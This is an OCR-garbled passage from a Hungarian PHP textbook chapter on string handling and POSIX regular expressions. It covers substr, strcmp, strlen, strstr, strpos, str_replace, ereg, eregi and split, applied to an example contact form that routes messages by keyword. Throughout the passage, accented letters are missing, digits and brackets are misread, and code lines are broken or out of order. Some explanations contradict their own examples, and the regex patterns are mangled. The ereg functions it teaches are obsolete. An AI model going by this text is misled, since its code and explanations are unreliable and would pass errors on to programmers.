Amennyiben a fggvnyt a start paramternl csak egy pozitv szmot megadva meghvjuk, a start pozcitl a karak
terlnc vgig tart rszsztringet adja vissza. Pldul a:
substr ($teszt,
az

l};

gyflszolglatuk igen kivl karakterlncot adja vissza. A karakterlncon belli pozci a tmbkhz hasonl

an O-val indul.
Amennyiben a substr (} fggvnyt csak egy negatv start paramterrel hvjuk meg, a karakterlnc utols start karak
tert kapjuk vissza. A
substr ($test,

-6};

fggvny ennek megfelelen a kiv l karakterlncot eredmnyezi.


A hossz paramtert arra hasznlhatjuk, hogy meghatrozzuk a visszaadand karakterek szmt (pozitv rtk esetn),
illetve a visszaadott karaktersor utols karaktert (negatv rtk esetn). A
substr ($teszt,

O,

6};

fggvny a karakterlnc utols hat karaktert adja vissza- ami jelen esetben az gyfl. Az
echo substr ($test,

18,

-7};

kd a negyedik s a htulrl hetedik karakter kztti karaktereket aclja vissza- jelen esetben az igen karakterlncot. Az els
karakter a O. pozci, gy a 18. pozci a tizenkilencedik karaktert jelli.

Karakterlncok sszehasonltsa
Idig csak azt lttuk, hogyan hasznljuk a

==

mveleti jelet kt karakterlnc egyenlsgnek megllaptsra. A PHP ennl kis

s kifinomultabb sszehasonltsokra is lehetsget ad. Kt kategriba csoportostottuk ezeket: rszleges egyezsg s egye
bek. Elszr az egyebek kategrival foglalkozunk, majd ezt kveten trnk r a rszleges egyezsgre, amelyre az intelligens
rlap tovbbfejlesztshez szksgnk lesz.

Karakterlncoksorba rendezse: strcmp (), strcasecmp ( ) s strnatcmp ( ) fiiggvny


Az strcmp (},az strcasecmp (} s az strnatcmp (} fggvnnyel karakterlncokat rendezhetnk sorba. Ez a kpessg
adatok rendezsnl vlik igen hasznoss.
Az strcmp (} fggvny prototpusa:
int strcmp (string strl,

string str2};

A fggvny kt karakterlncot fogad, s sszehasonltja ezeket. Egyenlsgk esetn visszatrsi rtke O. Ha az str l b
crendben az str2 utn kvetkezik (vagy nagyobb nla), akkor az strcmp (} fggvny egy nullnl nagyobb szmmal tr

Karakterlncok kezelse s regulris kifejezsek

81

vissza. Amennyiben str l kisebb, mint str2, az s trcmp () visszatrsi rtke nullnl kisebb. A fuggvny megklnbzteti
a kis- s nagybetket.
Az strcasecmp () fuggvny pontosan ugyangy viselkedik, azonban nem tesz klnbsget a kis- s nagybetk kztt.
Az strnatcmp () fuggvny s a kis- s nagybetket nem megklnbztet testvre, az strnatcasecmp () a,.term
szetes rendezsnek" megfelelen hasonltja ssze a karakterlncokat, ami jobban megfelel az ember hagyomnyos rendezsi
elveinek. Az strcmp( ) szerint pldul karakterlncok esetn a 2 nagyobb, mint a 12, mivel lexikografikusan nagyobb.
Az strnatcmp() pont fordtva rangsorolja ket. A termszetes rendezsrl bvebben is olvasharunk a http://www .
naturalordersort.org/ oldalon.

Karakterlnc hossznak megllaptsa az st r l e n ( ) fggvnnyel


A karakterlncok hosszt az strlen() fggvnnyel derthetjk ki. Ha tadunk a fggvnyek egy karakterlncot, visszatrsi
rtke annak hossza lesz. Pldul a kvetkez kd eredmnye 5 lesz:
echo'strlen("hello");.

A fggvny beviteli adat ellenrzsre is alkalmas. Gondoljunk bele a mintarlapon lv e-mail cmbe, amit az $email vl
tozban trolunk! Az e-mail cm ellenrzsnek legegyszerbb mdszere a hossznak megllaptsa. Egy e-mail cm legalbb
hat karakter hossz: pldul a@a. to, amelyben az orszgkdhoz nem tartozik msodik szint domain, illetve a szervernv s
a felhasznl cme egy-egy betbl ll. Ha a felhasznl ltal megadott e-mail cm nem ri el ezt a karakterhosszt, akkor hiba
kvetkezik be:
if (strlen($email) <

echo 'rvnytelen e-mail cm';


exit;

ll a

PHP

6) (

kd vgrehajtsnak megszakitst knyszerti ki

rdemes megemlteni, hogy azstlen () fggvny nem jl kezeli a tbb-bjtos kdols (UTF-7, UTF-8, Unicode)
sztringeket. Tapasztalatok szerint elssorban az , , , , ,

betket tartalmaz karakterlncok esetn hibsan a<lja vissza

a szering hosszt. Unicode kdolskor hasznljuk inkbb az mb_strlen () fggvnyt, amelynek prototpusa a kvetkez:
int mb_strlen ( string $str

[,

string $kodolas

A fggvnyben a $str paramter a vizsgland karakterlncot tartalmazza, az opcionlis $kodolas paramterrel pedig
megadhatjuk, hogy hny bites az radott karakterlnc.
Az elz plda UTF-8 kdols szvegre:
if (rnb_strlen($email) <

6) ( ll vagy mb strlen($email,

'Bbit')

echo 'rvnytelen e-mail cm';


exit;

Fontos megjegyezni, hogy az,.mb_" csaldba tartoz fggvnyek nem alaprtelmezett PHP knyvtrban vannak, gy krjk
a rendszergazdt, hogy teleptse a Mulribyte String knyvtrat! Tovbbi informcit a PHP kziknyv http://www.php.net/
manual/ en/book.mbstring.php oldaln tallunk.
A fenti megkzelts az informci ellenrzsnek rendkvl leegyszerstett mdja. A kvetkez rszben finomabb md
szereket fogunk megvizsglni.

Rszsztringek keresse s cserje sztringkezel fggvnyekkel


Gyakran vgzett mvelet annak megllaptsa, hogy egy adott rszszering megtallhat-e egy nagyobb karakterlncban. Ez
a rszleges egyezs jellemzen hasznosabb, mint teljes egyenlsg ellenrzse a karakterlncokban.
Intelligens rlapunk esetben bizonyos kulcskifejezseket keresnk az gyfl zenetben, s ezek meglte alapjn kldjk
a levelet a megfelel rszlegnek. Amennyiben a Bob zleteivel foglalkoz zeneteket pldul a kereskedelmi vezetnek kvnjuk
tovbbtani, akkor azt kell megllaptani, hogy az zlet sz vagy annak toldalkos vltozatai elfordulnak-e a levlben.
A mr megismertek kzl az explode () vagy az strtok() fggvnnyel kaphatjuk vissza az zenet szavait, majd az==
mveleti jellel vagy az strcmp() fuggvnnyel sszehasonlthatnnk azokat.
Ugyanezt egyeden fggvny meghvsval is elrhetjk, amennyiben ez a fuggvny a karakterlnc-illeszt vagy regulriskife
jezs-illeszt (regular expression-matching) fggvnyek valamelyike. Ezek a fuggvnyek mintt keresnek a karakterlncokban.
A kvetkezkben egyenknt megvizsgljuk ezeket a fggvnycsoportokat.

82

4. fejezet

Karakterlncok keresse karakterlncban: strstr (), strchr (), strrchr () s


str istr () fggvny
Ha karakterlncon bell keresnk msik karakterlncot,az strstr (),az strchr (),az strrchr () vagy az stristr ()
fggvnyt hasznlhatjuk.
A legltalnosabb ezek kzl az strstr (),amellyel nagyobb karakterlncban kereshetnk szrring- vagy karakreregye
zsger. PHP-ben az strchr () fggvny pontosan megegyezik az strstr () fggvnnyel,br neve azt sugallja,hogya C-programnyelvbeli vltozarhoz hasonlan - karakter szrringen belli keressre hasznljuk. PHP-ben mindkt fggvny
alkalmas karakterlncon belli karakterlnc keressre,s a keresett karakterlnc llhar akr egyeden karakterbl is.
Az strstr() prototpusa a kvetkez:
string strstr(string szenakazal,

string tu);

A fggvnynek kr paramtert adunk r: az egyik a karakrerlnc,amelyikben keressen ( szenakazal ) , a msik pedig az,
amir keressen (tu).Amennyiben rkleres egyezsger tall,a fggvny a tu-rl indulva visszaadja a szenakazal karakter
lncot; ha nincs egyezsg,akkor false rtkkel tr vissza. Amennyiben a tu egynl tbbszr elfordul,a visszaadott karak
terlnc az els elfordulsval kezddik.
Intelligens rlapunkban pldul meghatrozhatjuk,hogy adott feltrelek reljeslse esern hova cmeuk az e-mailt:
$cmzett =

'uzenet@pelda.com';

ll az alaprtelmezett e-mail cm

ll Az adott felttel teljeslse esetn mdostsa a $cmzett rtkt!


if (strstr($uzenet,

'bolt'))

$cmzett = 'kiskereskedelem@pelda.com';

else if (strstr($uzenet,

else if (strstr($uzenet,

---'

'kiszllts'))

$cimzett = 'szallitas@pelda.com';

$cmzett =

'szmla'))

'penzugy@pelda.com';

A kd adott kulcsszavakar keres az zenetben,s megltk esern a megfelel szemlynek tovbbrja azt. Amennyiben az
"
gyfl zenere pldul az albbi:"Mg mindig nem trtnt meg urols rendelsemnl a kiszllrs;' a kd szleli a "kiszllirs
kulcsszr,s ennek megfelelen a
szallitas@pelda.com

cmre kldi az zeneter.


Az strstr() fggvnynek kr varinsa is ltezik. Az els az stristr (),ami maJdnem teljesen megegyezik vele,m nem
tesz klnbsget a kis- s nagybetk kzrt. Jelen alkalmazshoz ez a vltozar inkbb megfelel,mert az gyfl a kis- s nagy
betk tetszleges keverkt hasznlhatja a kulcsszavakban (pldul" kiszllts", "Kiszllts", "KISZLLTS" ) .
A msodik vltozar az strrchr (),ami snrn majdnem megegyezik az eredetivel,m a tu utols elfordulsrl adja
vissza a szenakazal szrringer.

Rszsztringpozcijnakmegkeresse: strpos () s strrpos ()


Az strpos () s az strrpos() fggvny az strstr ()-hez hasonlan mkdik,m rszszering helyerr a tu sztring szm
szer pozcijr adja vissza a szenakazal karakterlncon bell. rdekes mdon a PHP kziknyv az strstr () fggvny
helyett az strpos () hasznlatt javasolja egy szering karakterlncon belli megltnek ellenrzsre,mert az utbbi gyorsab
ban fut.
Az strpos () fggvny prototpusa a kvetkez:
int strpos(string szenakazal,

string tu,

int

[offset]

);

A fggvny ltal visszaadott egsz szm a tu karakterlnc szenakazal sztringen belli els elfordulsnak pozcijt
mutatja. Az els karakter pozcija szoks szerm O.
A kvetkez kd pldul a 4-es rtket ratja ki a bngszvel:
$teszt = "Hell,

vilg!";

echo strpos($teszt,

"o");

Ez a kd egyeden karaktert ad t keressi kifejezsknt, noha az brmilyen hossz karakterlnc is lehetne.


Az opcionlis offset paramter egy, a szenakazal karakterlncon belli pontot hatroz meg,ahonnan a keress indi
tand. Vegyk pldul a kvetkez kdot:
echo strpos($teszt,

'o',

5);

Ez a 7 -es rtker rarja ki a bngszvel, mivel a PHP az 5. pozcirl kezdve keresi az o karaktert, gy nem fogja megtallni
a 4. pozciban levt.

Karakterlncok kezelse s regulris kifejezsek

83

Az strrpos () fggvny szinten teljesen megegyezik az strpos ()-sal, m a tu utols elfordulsnak a pozcijt adja vissza.
Amennyiben a keressi kifejezs nem tallhat a karakterlncban, az strpos () s az strrpos () is false rtkkel tr
vissza. Ez akr problmt is jelenthet, mivel egy olyan gyengn tpusos nyelvben, mint a PHP, a false a O-val egyenrtk

ami jelen esetben a sztring els karaktert jelenti.


Jelen problma elkerlhet, ha az === mveleti jellel ellenrizzk a visszaadott rtkeket:
$eredmeny = strpos($teszt,

if ($eredmeny

===

"H");

false)

echo "Nincs tallat";


else
echo "Tallat helye:

". $eredmeny;

Rszsztringek cserje: s tr_replace () s subs tr_replace () fggvny


A keress s csere funkci rendkivl hasznos tud lenni karakterlncok esetn. Segtsgvel egyniesthetnk
(perszonalizlhatunk) PHP ltal ltrehozott dokumentumokat- pldul a <name> cmkt a szemly nevre, az

<add res s>-t pedig cmre cserlve.Alkalmas konkrt kifejezsek moderlsra- pldul nyilvnos frumok vagy akr
a most fejlesztett intelligens rlapunk eset.n is. Erre a clra a sztringkezel fggvnyek s a regulris kifejezsek fggvnyei is
megfelelnek.
A leggyakrabban hasznlt sztringcserl fggvny az str_replace ().A kvetkez prototpussal rendelkezik:

mixed str_replace(mixed tu, mixed uj_tu, mixed szenakazal[, int &szamlalo]));


A fggvny a tu minden elfordulst a szenakazal karakterlncban az uj_tu sztringre cserli, maJd a szenakazal
j vltozatval tr vissza. Az opcionlis negyedik paramter, a szamlalo a vgrehajtott cserk szmt tartalmazza.

Megjegyzs: Minden paramter tadhat tmbknt, s az str_replace ()fggvny mdfelett intelligensen mkdik. At
adhaljuk a cserlend szavak tmbjt, az ezeket cserl szavak tmbjt, illetve azon karakterlncok tmbjt, amelyekre a csert
alkalmazni kvnjuk. A fggvny ezt kveten az tdolgozott karakterlncok tmbjt adja vissza.
Mivel az emberek reklamlsra is hasznlhatjk intelligens rlapunkat, nyomdafestket nem tr szavak is elfordulharnak

zeneteikben. Programozknt megakadlyozhatjuk, hogy Bob klnbz rszlegeit brmilyen mdon zaklassk, ha a srt
kifejezseket sszegyjtjk egy $nyomdafesteket_ nem_turo nev tmbben. Nzzk a pldt az str_replace()
fggvny tmbbel trtn alkalmazsra:
$uzenet

str_replace( $nyomdafesteket_nem_turo,

'

% ! @*', $uzenet) ;

A substr_replace() fggvny pozcija alapjn keresi meg s cserli ki egy karakterlnc adott rszsztringjt.Az albbi
prototipussal mkdik:
string substr_replace(string sztring,

string csere,

int start,

int

[hossz]

);

A fggvny a csere sztringre cserli le asztring karakterlnc egy rszt. Hogy pontosan melyik rsz lesz lecserlve, azt

a start s az opcionlis hossz paramter rtkvel hatrozhatjuk meg.


A start rtk mutatja meg, hogy a karakterlncon bell hol kezddjk a csere. Nulla vagy pozitv rtk eset.n a csere kez
dpontja a karakterlnc elejtl, negatv rtknl a sztring vgtl szmtdik. Az albbi kdsor pldul X-re cserli a $teszt

utols karaktert:
$teszt = substr_replace($teszt,

'X',

-l);

A hossz opcionlis rtk, s azt a pontot hatrozza meg, ahol a PHP abbahagyja a csert. Ha nem hatrozzuk meg rt

kt, a csere a start

pozcitl a karakterlnc vgig tart.

Ha a teszt rtke nulla, akkor a cseresztring a meglv karakterlnc fellrsa nlkl lesz beszrva. A pozitv teszt rt

kek az j karakterlncra lecserlni kvnt karakterek szmt jelentik, a negatv tes zt rtkek pedig azt a- karakterlnc vgrl
szmtott- pontot hatrozzk meg, ahol a karakterek cserjt abba kvnjuk hagyni.

Ismerkeds a regulris kifejezsekkel


A PHP a regulris kifejezsek ktfle szintakrikjt tmogatja, ez a POSIX s a Perl. Mindkt tpust alaprtelmezetten tmo

gatj a a PHP, s az 5.3-as verzitl kezdve a Perl (PCRE) tpus nem kapcsolhat ki. Itt azonban az egyszerbb POSIX stlust

fogjuk megismerni; a Perl-programozk vagy a PCRE tpusrl


www.php.net/pcre oldalon elrhet online kziknyvet!

tbbet megtudni kvn olvask tanulmnyozzk a http:/ J

84

4. fejezet

Megjegyzs: A POSIX regulris kifejezsek knnyebben s gyorsabban elsajtthatk, m a binris adatokat nem mindig
helyesen kezelik (nem "binary safe" kifejezsek).
A mintaillesztsekhez idig szeringkezel fggvnyeket hasznltunk. Pontos egyezsgre vagy rszsztringek pontos egyez

sgre voltunk korltozva. Ha sszetettebb rnintaillesztsre van szksgnk, regulris kifejezseket kell hasznlnunk. A regul
ris kifejezsek mkdst elsre nem knny megrteni, de alkalmazsuk rendkivl hasznos tud lenni.

Azalapok
A regulris kifejezsek szvegdarabban lev rnintk lersnak egy mdszert jelentik. Az eddig ltott pontos egyezsg a regulris
kifejezsek egyik formja. Korbban pldul olyan regulris kifejezsekre kerestnk, mint a "bolt" vagy a " kis z ll ts".
A regulris kifejezsek illesztse PHP-ben sokkal inkbb egy strstr ( ) illesztshez, mintsem egyenlsg megllaptshoz
hasonlt, rnivel valahol egy msik karakterlncon belli sztringet illesztnk. (Ha mskppen nem hatrozzuk meg, akkor a ka
rakterlncon bell brhol lehet.) A "bolt" karakterlnc pldul megfelel a "bolt" regulris kifejezsnek. Ugyangy megfe
lel az "o", "ol" stb. regulris kifejezseknek is.
A karakterek pontos illesztsn tlmenen klnleges karaktereket hasznlva jellhetnk rtelmezsi tartomnyokat. K
lnleges karakterekkel jellhetjk azt, hogy az adott rnintnak a karakterlnc elejn vagy vgn kell elfordulnia, a rninta egy
rsze ismtldhet, vagy a mintban lv karaktereknek adott tpusnak kell lennik. Klnleges karakterek literlis elfordul
saira is illeszthetnk. A kvetkezkben ezen lehetsgeket fogjuk ttekinteni.

Karakter kszletek s osztlyok


A karakterkszletek hasznlata a kifejezsek pontos egyezsgnl hatkonyabb teszi a regulris kifejezseket. A karakter
kszleteket hasznlhatjuk adott tpus brmely karakternek illesztsre; ezek valjban egyfajta dzskerkarakterek.
A . karaktert az j sort ( \n) leszmtva brmilyen klnll karakter dzskerkaraktereknt hasznlhatj uk. A
.ap

regulris kifejezs pldul egyebek kztt a "lap", "nap" s "pap" karakterlncnak felel meg. Az ilyen dzskerkarakter-il
leszrst gyakran hasznljk az opercis rendszer fjlneveinek keressre.
A regulris kifejezsekkel azonban sokkal konkrtabban megadhatjuk a kivnt karakterilleszts tpust, s pontosan meg
adhatjuk, milyen karakterkszleebe kell az adott karakternek tartoznia. Az elz pldban lv regulris kifejezs nem csak
a "nap" s a "pap" sznak felel meg, hanem a" itap" karakterlncnak is. Ha a s z kztti karakterre szeremnk korltozni,
a kvetkezkppen kell meghatroznunk:
[a-z)ap

A szgletes zrjelek ( [ s J ) ltal kzrefogott valami egy karakterkszlet

- olyan karakterek kszlete, amelyek kz az il

lesztett karakternek tartoznia kell. Fontos, hogy a szgletes zrjelben lv kifejezshez csak egyetlen karakter illeszkedhet.
A kszletet felsorolssal is megadhatjuk; az
[aeiou)

kszlet pldul az angol bc magnhangzit tartalmazza.


Meghatrozhatunk tartomnyt, ahogy tettk azt az imnt a klnleges ktjellel vagy tartomnyok kszlett, pldul gy:
[a-zA-Z)

Ezek a tartomnyok a kis- s nagybets alfabetikus karaktereket fedik le.


Kszletek segtsgvel azt is megadhatj uk, hogy a karakter ne legyen az adott kszlet tagja. A
[A a-z]

kszlet pldul a nem az a s z kz es karaktereket foglalja magban. A szgletes zrjeleken bell elhelyezett beszrsi jel

( ) nem et jelent. A szgletes zrjeleken kvl ms jelentssei br, rvidesen azt is megvizsgljuk.
A

A kszletek s tartomnyok felsorolsa mellett elre meghatrozott karakterosztlyokat is hasznlhatunk a regulris kifejez
sekben. A 4.3 tblzat ezeket az osztlyokat mutatja.
4.3 tblzat: POSIX stlus

regulris kifejezsekben hasznlhat karakterosztlyok

Osztly

Benne foglalt karakterek

[[:alnum:))

Alfanumerikus karakterek

[[:alpha:])

Alfabetikus karakterek

[ [ : lower: ll

Kisbetk

Karakterlncok kezelse s regulris kifejezsek

Osztly

Benne foglalt karakterek

[[:upper:l l

Nagybetk

[[:digit:]]

Decimlis szmjegyek

[[: xdigit: ll

rfexadecnlis szrrYegyek

[[:punct: ll

rsjelek

[ [ :blank: ll

Tabultorak s szkzk

[ [ :space: ll

Fehrkz karakterek

[[:cntrl:))

Vezrl karakterek

[[:print:l l

Minden nyomtathat karakter

[[:graph:]]

A szkz kivtelvel minden nyomtathat karakter

85

Ismtlds
Gyakran azt is meg szeretnnk hatrozni, hogy egy adott karakterlnc vagy karakterosztly tbb elfordulsa lehetsges. Kt
klnleges karakter ll rendelkezsnkre, hogy regulris kifejezsnkben jelezzk ezt. A

szimblum azt jelenti, hogy a min

ta nulla vagy tbb, a + szimblum azt, hogy egy vagy tbb alkalommal ismtldhet. A szimblumot a kifejezs kzvetlenl
azon rsze utn kell elhelyezni, amire vonatkozik. Az
[[:alnum:))+

pldul azt jelenti, hogy ,,legalbb egy alfanumerikus karakter:

Rszkifejezsek
A kifejezsek rszekre bontsnak kpessge lehetv teszi, hogy meghatrozzuk pldul a kvetkezket:.,ezen karakterlncok
kzill legalbb egyet pontosan ez kvet': A kifejezseket zrjelekkel tudjuk felbontani - pontosan gy, ahogy matematikai
kifejezsek esetn hasznljuk ket. Ennek megfelelen a
(nagyon ) *nagy

regulris kifejezsnek pldul a .,nagy", .,nagyon nagy", .,nagyon nagyon nagy" stb. karakterlncok felelnek meg.

Szmolt rszkifejezsek
Kapcsos zrjelek ( { } ) kz rt szmszer kifejezssel meghatrozhatjuk, hny ismtlds lehetsges. Megadharjuk az ismt
ldsek konkrt szmt (a {3} pontosan hrom ismtldst jelent), ismtldsek tartomnyt (a {2,

4} kett-ngy ismt

ldse jelent), illetve ismtldsek nyltvg tartomnyt (a {2, } legalbb kt ismcldst jelent).
A
(nagyon} {l,

3}

regulris kifejezsnek pldul a .,nagyon", ., nagyon nagyon" s

"

nagyon nagyon nagyon" karakterlncok felel

nekmeg.

Karakterlnc elejhez vagy vghez rgzts


Az [a- z J mintnak brmilyen kisbets, alfabetikus karaktert tartalmaz karakterlnc megfelel. Nem szmt, hogy a sztring
mindssze egy karakter hossz vagy hosszabb karakterlnc, amely egyetlen megfelel karaktert tartalmaz.
Ugyanakkor meghatrozhatjuk azt is, hogy egy adott rszkifejezs a karakterlnc elejn, vgn, esetleg mindkt helyen el
forduljon. Ez a lehetsg akkor nyer rtelmet, amikor meg akarunk bizonyosadni arrl, hogy csak s kizrlag a keressi kifeje
zs jelenik meg a karakterlncban.
A regulris kifejezs elejre helyezett beszrsi jellel (A) azt hatrozhatjuk meg. hogy a keresett karakterlnc elejn kell meg
jelennie. A regulris kifejezs vgre rt $ jel azt kzli, hogy a karakterlnc vgn kell tallkoznunk vele.
A kvetkez kifejezs pldul azt jelenti, hogy a bob karakterlncnak a szering elejn kell lennie:
A bob

Az albbi mintnak pedig azok a karakterlncok felelnek meg. ahol a com a sztting vgn helyezkedik el:
com$

A kvetkez mintnak pedig olyan karakterlncok felelnek meg. amelyek egyetlen, a s


A [a-z)$

kztti karakterbl llnak:

86

4. fejezet

gaztats
A regulris kifejezsen belli vlasztsi lehetsget fuggleges vonallal jelljk. A com, ed u vagy net domainvgzdsnek pl
dul az albbi kifejezs felel meg:
comledulnet

Literlis klnleges karakterekhez illeszts


Amennyiben a korbbi rszekben emltert klnleges karakterek valamelyikhez - pldul . vagy { vagy $ - kivnunk illesz
teni, visszaperjelet (\)kell eljk helyezni. Ha visszaperjelet kivnunk jellni, akkor kt visszaperjellel (\\)kell helyettesteni.
gyeljnk, hogy PHP-ben egyszeres idzjellel krlvert karakterlncokba helyezzk a regulris kifejezsek mintit.
A ketts idzjellel elltott szeringekben lv regulris kifejezsek hasznlara felesleges komplikcikkal jrhat. A PHP
visszaperjelet hasznl a klnleges karakterek- kztk a visszaperjel- kiemelsre. Amennyiben visszaperjelet kivnunk sze
repelterni a rnintban, kr visszaperjellel rudjuk jelezni, hogy lirerlis visszaperrl, nem pedig kiemelsrl van sz.
Ugyangy, ha literlis visszaperjelet szeretnnk ketts idzjelek kzrt lv PHP karakterlncba rni, kerrt kell hasznlni
belle. Ezeknek a szablyoknak a kiss zavar vgeredmnye az, hogy a literlis visszaperjelet tartalmaz regulris kifejezst
jelkpez PHP karakterlnchoz ngy visszaperjelre van szksg. A PHP rtelmez kt visszaperjelknt fogja feldolgozni a n
gyet. Ezt kveten a regulris kifejezs rtelmezje egyetlenknt dolgozza fel ezt a megmaradt kettt.
A ketts idzjelekben lv PHP karakterlncok s regulris kifejezsek esetn a dollrjel is klnleges karakternek szrnit.
Ha literilis $ jelhez szeretnnk illeszteni egy rnintban, a "\\\$" sztringet kell hasznlnunk. Mivel ketts idzjelek kztt
van, a PHP \$-knt fogja feldolgozni, amit a regulris kifejezs rtelmezje dollrjelhez fog illeszteni.

A klnleges karakterek ttekintse


A 4.4 s a 4.5 tblzatban a klnleges karakterek sszefoglalst talljuk. A 4.4 tblzat a szgleres zrjeleken kivl hasznlt
klnleges karakterek jelentst, a 4.5 tblzat a szgletes zrjeleken belli jelenrsket tartalmazza.
4.4 tblzat: POSIX regulris kifejezsekben

Karakter
\

szgletes zrjeleken kvl hasznlt, klnleges karakterek sszefoglalsa

Jelents
Kiemel karakter
A karakterlnc elejnl trtn illeszts

A karakterlnc vgnl trtn illeszts


jsor karakter (\n)kivtelvel brmilyen karakterhez illeszts
Alternatv elgazsok kezdete (VAGY-knt olvasand)
Rszrninta kezdete
Rszminta vge

Ismtls nulla vagy tbb alkalommal


Ismtls egy vagy tbb alkalommal
Min./max. mennyisgjelz kezdere
Min./max. mennyisgjelz vge

4.5

Rszrninta megjellse opcionlisknt

tblzat: POSIX regulris kifejezsekben szgletes zrjeleken bell hasznlt, klnleges karakterek sszefoglalsa
Karakter
\

Jelents
Kiemel karakter
NEM- csak kezd pozciban hasznlhat
Karaktertartomnyok meghatrozsra hasznlhat

Karakterlncok kezelse s regulris kifejezsek

87

Az eddig tanultak alkalmazsa az intelligens rlapban


Imeiligens zenerkld alkalmazsunkban legalbb ktflekppen vehegk hasznt a regulris kifejezseknek. Az egyik lehe
tsg adott kifejezsek keresse az gyfl zenetben. A regulris kifejezsek nmileg intelligensebb mdszert knlnak erre,
mint a szeringkezel fggvnyek. Ez utbbiak alkalmazsa esetn hrom klnbz keresst kellene vgrehajtani, amennyiben
a "bolt", "gy flszolglat" vagy" kiskereskedelem" kifejezs utn kutatnnk az zenetben. Az albbi regulris
kifejezssel mind a hrom egyszerre kereshet:
boltigyflszolglatlkiskereskedelem

A msodik alkalmazsi lehetsg az gyfl e-mail cmnek ellenrzse. Ehhez regulris kifejezsbe kdoljuk az e-mail
cmek szabvnyostott formtu mt. A formtum a kvetkezkppen pl fel: alfanumerikus karakterek vagy rsjegyek soro
zata, ezt kveti egy

@ szimblum, majd egy alfanumerikus karakterekbl s ktjelekbl ll karakcerlnc, egy pont, ismt

alfanumerikus karakterekbl s ktjelekbl ll sztring, megint egy pont, majd jra karakterlnc; ez utbbi kett tbbszr
ismtldhet. A kvetkezkppen kdolhaguk ezt:
'[a-zA-ZO-9 \-.l+@ [a-zA-ZO-9\-l +\. [a-zA-ZO-9\-.l+$
_
A A[a-zA-Z O -9 \- . l + rszkifejezs azt jelenti, hogy "legalbb egy betbl, szmbl, alulvonsbl, ktjelbl, pontbl
_

vagy ezek tetszleges kombincijbl ll karakterlnc: rdemes megjegyezni, hogy amikor a pontot karakterosztly elejn
vagy vgn hasznljuk, elveszti klnleges dzskerkarakter jelentst, s egyszer pontt vlik.
A @ szimblum a literlls @ jelnek felel meg.

A [a-zA-ZO-9\-]+ rszkifejezs a hosztnv els, alfanumerikus karaktereket s ktjeleket tartalmaz rszt jelkpezi. Fi
gyeljk meg, hogy a ktjelet visszaperjellel kiemeltk, mivel szgletes zrjeleken bell a ktjel klnleges karakternek minsl!
A \. kombinci egyszer pontnak (.) felel meg. Karakterosztlyokon kvl hasznljuk a pontot, gy ki kell emelnnk
ahhoz, hogy csak az egyszer (literlis) pontnak feleljen meg.
A domainnv tbbi rszt a [a-zA-ZO -9\-\ .]+$ rszkifejezs jelkpezi, amely betket, szmokat, ktjelet s szksg
esetn tbb pontot is tartalmaz a karakterlnc vgig.
Nmi gondolkods utn belthat, hogy el tudunk lltani olyan e-mail cmeket, amelyek illeszkednek ehhez a regulris kife
jezshez, mgis rvnytelenek. Szinte lehetetlen minden hamis e-mail cmer kiszrni, m ezzel az ellenrzssei valamennyit javt
hat a helyzet. Sokflekppen linomithatjuk ezt a kifejezst. Felsorolhaguk pldul a legfels szint tartomnyneveket

(TOL).

gyeljnk azonban, amikor tovbb szkgk a megfelelsget, mert egy olyan ellenrz fggvny, amely az rvnyes adatok akr
csak l szzalkt is kiszri, sokkal zavarbb lehet, mint egy olyan, amely tenged akr 10 szzalknyi rvnytelen adatot is.
Most, hogy alapsznten megismerkedtnk a regulris kifejezsekkel, kszen llunk arca, hogy megvizsgljuk az azokat hasz
nl PHP fggvnyeket.

Rszsztringek keresse regulris kifejezsekkel


Az elbbiekben kifejlesztett regulris kifejezsek f alkalmazsi tetlete rszszttingek keresse. A PHP-ben elrhet kt fggvny
a

POSIX srlus regulris kifejezsek illesztsre az e reg () s az e regi ().Az ereg () fggvny prototipusa a kvetkez:

int ereg(string minta,

string kereses helye,


_

array [talalatok]);

A fggvny kereses helye karakterlncban keres a minta regulris kifejezsnek megfelel sztringet. A minta rszkife
_

jezseire add tallatok esetn a fggvny a talalatok tmbben trolja azokat, tmbelemenknt egy rszkifejezst.
Az eregi() fggvny teljes mctkben hasonlan mkdik azzal a kivtellel, hogy nem tesz klnbsget a kis- s nagybe
tk kztt.

Az intelligens rlap esetn a kvetkezkppen hasznlhaguk ki a regulris kifejezseket:


if (!eregi('A[a-zA-Z0-9 \-\.]+@[a-zA-Z0-9\-]+\.[a-zA-Z0-9\-\.]+$', $email))
_
echo "<p>trvnytelen e-mail cim.<lp>".
"<p>Krjk,

trjen vissza az el6z6 oldalra,

s prblkezzon jra!<lp>";

exit;
$cmzett

"uzenet@pelda.com";

ll az alaprtelmezett rtk

if (eregi("boltlgy flszolglatlkiskereskedelem",
$cimzett

$cimzett

"szallitas@pelda.com";

else if (eregi("szmla",
$cimzett

$uzenet))

"kiskereskedelem@pelda.com";

else if (eregi("kiszllitslteljesits",
$uzenet))

"penzugy@pelda.com";

$uzenet))

l4

88

4. fejezet

if (eregi("nagyugyfel\.com",
$cimzett

$email))

"bob@pelda.com";

Rszsztringek cserje regulris kifejezsekkel


A regulris kifejezsek arra is alkalmasak,hogy- hasonlkppen ahhoz, ahogy az str_replace () fggvnyt hasznlruk
segtsgkkel rszsztringeket keressnk s cserljnk. Ehhez a feladathoz kt fggvny ll rendelkezsnkre:
ereg_replace

() s eregi_replace ().Az e reg_replace () prototpusa a kvetkez:

string ereg_replace(string minta,

string csere,

string kereses_helye);

A fggvny a minta regulris kifejezst keresi a kereses_helye karakterlncban,s a tallatokat a csere szrringre cserli.
Az eregi_replace() mkdse ezzel szinte teljesen megegyez, m nem tesz klnbsget a kis- s nagybetk kztt.

Karakterlncok sztbontsa regulris kifejezsekkel


A regulris kifejezsek egy msik hasznos fggvnye a split (),amelynek a kvetkez a prototpusa:
array split(str1ng m1nta,

string kereses helye[,

int max]);

A fggvny a minta regulris kifejezs alapjn rszsztringekre bontja a kereses_helye karakterlncot,s tmbben adja
vissza a rszsztringeket.A max egsz szmmal korltozhatjuk a tmbbe kerl elemek szmt.
A fggvnyt hasznlhatjuk pldul e-mail cmek,domainnevek vagy dcumok sztbontsra. Tekintsk a kvetkez pldt:

$eim= "felhasznaloi_nev@pelda.com";
$tomb

split ("\.1@",

while (list($kulcs,

$eim);

$ertek) = each ($tomb))

echo "<br />".$ertek;

A plda t alkotelemre bontja

az

e-mail cmer,s soronknt jelenti meg ket.

felhasznaloi nev
@
pelda

com

Megjegyzs: ltalnossgban megllapthat, hogy a regulris kifejezsek fggvnyei kevsb hatkonyan Jutnak le, mint a ha
sonl funkcij sztringkezelJggvnyek. Amennyiben Jeladatunk kellen egyszer ahhoz, hogy sztringkifejezs hasznlatval
